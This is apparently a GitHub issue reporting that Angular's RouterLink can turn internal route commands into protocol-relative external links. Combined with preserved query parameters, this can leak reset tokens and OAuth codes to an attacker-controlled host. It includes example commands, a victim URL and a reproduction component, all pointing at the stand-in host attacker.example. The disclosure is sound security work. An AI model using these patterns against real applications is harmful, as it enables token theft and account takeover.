René's URL Explorer Experiment

{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"RouterLink can serialize internal route commands into protocol-relative external hrefs","articleBody":"### Which @angular/* package(s) are the source of the bug?\n\nrouter\n\n### Is this a regression?\n\nNo\n\n### Description\n\n`RouterLink` is documented as a directive that creates links for Angular route navigation. The input is treated as commands passed to `Router#createUrlTree`, or as a `UrlTree`.\n\n\nHowever , `RouterLink` can serialize some internal Angular route command forms into an `href` that starts with `//`.\n\nBrowsers treat `//attacker.example/path` as a scheme-relative external URL. On an HTTPS app, that becomes:\n\n```text\nhttps://attacker.example/path\n```\n\nSo an application can use `RouterLink` expecting internal Angular navigation, but Angular writes an attacker-controlled external URL into the DOM.\n\nThe issue appears when the internal route command creates an empty leading primary segment after the app root.\n\n## Attacker redirect cases\n\nValidated cases that generate an external attacker-controlled `href`:\n\n| Case | RouterLink command                             | Attacker-controlled input                       | Generated href                   |\n| ---- | ---------------------------------------------- | ----------------------------------------------- | -------------------------------- |\n| 1    | `['/', '', host, path]`                        | `host = 'attacker.example'`, `path = 'collect'` | `//attacker.example/collect?...` |\n| 2    | `['/', ...next.split('/')]`                    | `next = '/attacker.example/collect'`            | `//attacker.example/collect?...` |\n| 3    | `[{ outlets: { primary: next } }]`             | `next = '/attacker.example/collect'`            | `//attacker.example/collect?...` |\n| 4    | `[{ outlets: { primary: ['', host, path] } }]` | `host = 'attacker.example'`, `path = 'collect'` | `//attacker.example/collect?...` |\n\nOn an HTTPS application, all of these browser-resolve to:\n\n```text\nhttps://attacker.example/collect?...\n```\n\n\nThe impact becomes security-relevant when the app also uses:\n\n```html\nqueryParamsHandling=\"preserve\"\n```\n\nor:\n\n```html\nqueryParamsHandling=\"merge\"\n```\n\nIn those modes, Angular can copy the current URL query parameters into the generated external link.\n\nExample trusted URL:\n\n```text\nhttps://victim.example/reset?token=RESET_TOKEN\u0026code=OAUTH_CODE\u0026next=/attacker.example/collect\n```\n\nGenerated `RouterLink` href:\n\n```html\n\u003ca\n  href=\"//attacker.example/collect?token=RESET_TOKEN\u0026code=OAUTH_CODE\u0026next=...\"\n\u003e\u003c/a\u003e\n```\n\nBrowser destination:\n\n```text\nhttps://attacker.example/collect?token=RESET_TOKEN\u0026code=OAUTH_CODE\u0026next=...\n```\n\nThis can leak values such as password reset tokens, magic-login tokens, invite tokens, OAuth authorization codes, OAuth state values, or email verification tokens.\n\n## Minimal reproduction\n\n```ts\nimport { Component, inject } from \"@angular/core\";\nimport { ActivatedRoute, RouterLink } from \"@angular/router\";\n\n@Component({\n  selector: \"app-home\",\n  imports: [RouterLink],\n  template: `\n    \u003ca\n      id=\"case-1\"\n      target=\"_blank\"\n      [routerLink]=\"noSplitCommands\"\n      queryParamsHandling=\"preserve\"\n    \u003e\n      Case 1\n    \u003c/a\u003e\n\n    \u003ca\n      id=\"case-2\"\n      target=\"_blank\"\n      [routerLink]=\"splitCommands\"\n      queryParamsHandling=\"preserve\"\n    \u003e\n      Case 2\n    \u003c/a\u003e\n\n    \u003ca\n      id=\"case-3\"\n      target=\"_blank\"\n      [routerLink]=\"primaryOutletCommands\"\n      queryParamsHandling=\"preserve\"\n    \u003e\n      Case 3\n    \u003c/a\u003e\n\n    \u003ca\n      id=\"case-4\"\n      target=\"_blank\"\n      [routerLink]=\"primaryOutletArrayCommands\"\n      queryParamsHandling=\"preserve\"\n    \u003e\n      Case 4\n    \u003c/a\u003e\n  `,\n})\nexport class Home {\n  private readonly route = inject(ActivatedRoute);\n\n  readonly host =\n    this.route.snapshot.queryParamMap.get(\"host\") ?? \"attacker.example\";\n\n  readonly path = this.route.snapshot.queryParamMap.get(\"path\") ?? \"collect\";\n\n  readonly next =\n    this.route.snapshot.queryParamMap.get(\"next\") ??\n    `/${this.host}/${this.path}`;\n\n  readonly noSplitCommands = [\"/\", \"\", this.host, this.path];\n\n  readonly splitCommands = [\"/\", ...this.next.split(\"/\")];\n\n  readonly primaryOutletCommands = [{ outlets: { primary: this.next } }];\n\n  readonly primaryOutletArrayCommands = [\n    { outlets: { primary: [\"\", this.host, this.path] } },\n  ];\n}\n```\n\n## Additional\n\nA normal left-click without `target` may be intercepted by Angular. However, the external `href` already exists in the DOM and can still be followed by native anchor navigation paths such as:\n\n```text\ntarget=\"_blank\", \"_top\", \"_parent\", or named target\nmiddle-click\nCtrl/Cmd-click\ncontext menu -\u003e open link in new tab/window\nSSR / pre-hydration link following\nno-JavaScript clients\ncrawlers, preview bots, or link scanners\nchild click handlers that call stopPropagation() without preventDefault()\n```\n\n### Please provide a link to a minimal reproduction of the bug\n\nThis was previously reported at https://issuetracker.google.com/u/1/issues/531036578, however it is not considered a problem, I believe it should be reconsidered\n ","author":{"url":"https://github.com/SkyZeroZx","@type":"Person","name":"SkyZeroZx"},"datePublished":"2026-07-09T04:12:27.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":3},"url":"https://github.com/69700/angular/issues/69700"}